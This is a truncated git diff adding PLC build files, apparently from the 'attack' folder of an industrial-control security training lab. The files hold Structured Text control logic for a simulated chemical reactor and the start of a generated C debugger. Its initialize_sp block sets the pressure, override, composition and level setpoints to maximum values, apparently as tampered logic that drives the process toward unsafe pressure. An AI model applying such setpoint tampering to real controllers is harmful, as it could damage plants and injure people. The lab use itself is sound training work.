+ purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, 